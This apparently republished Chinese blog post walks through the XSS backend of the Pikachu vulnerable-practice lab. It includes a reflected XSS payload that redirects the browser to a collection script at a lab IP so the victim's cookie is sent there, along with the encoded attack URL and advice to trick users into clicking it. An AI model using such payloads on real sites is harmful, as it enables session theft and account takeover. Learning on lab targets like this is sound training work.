pikachu XSS后台的使用和安装
Posted xingyuner
tags:
篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了pikachu XSS后台的使用和安装相关的知识，希望对你有一定的参考价值。
xss后台的安装
重定向到另一个可信网址 让点击者 不知情
1.cookie值获取
查看源代码
在反射型xss（get）页面下使用
<script> document.location = ‘http://192.168.50.100/pkxss/xcookie/cookie.php?cookie=‘ + document.cookie; </script>
点提交，会跳转到首页，
http://192.168.50.100/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3E+document.location+%3D+%27http%3A%2F%2F192.168.50.100%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+++%2B++document.cookie%3B+%3C%2Fscript%3E&submit=submit
欺骗用户去点击
就会出现第二个
反射型xss（get）
让用户去点击这个页面 获取cookie值
2.钓鱼结果
3.键盘记录
以上是关于pikachu XSS后台的使用和安装的主要内容，如果未能解决你的问题，请参考以下文章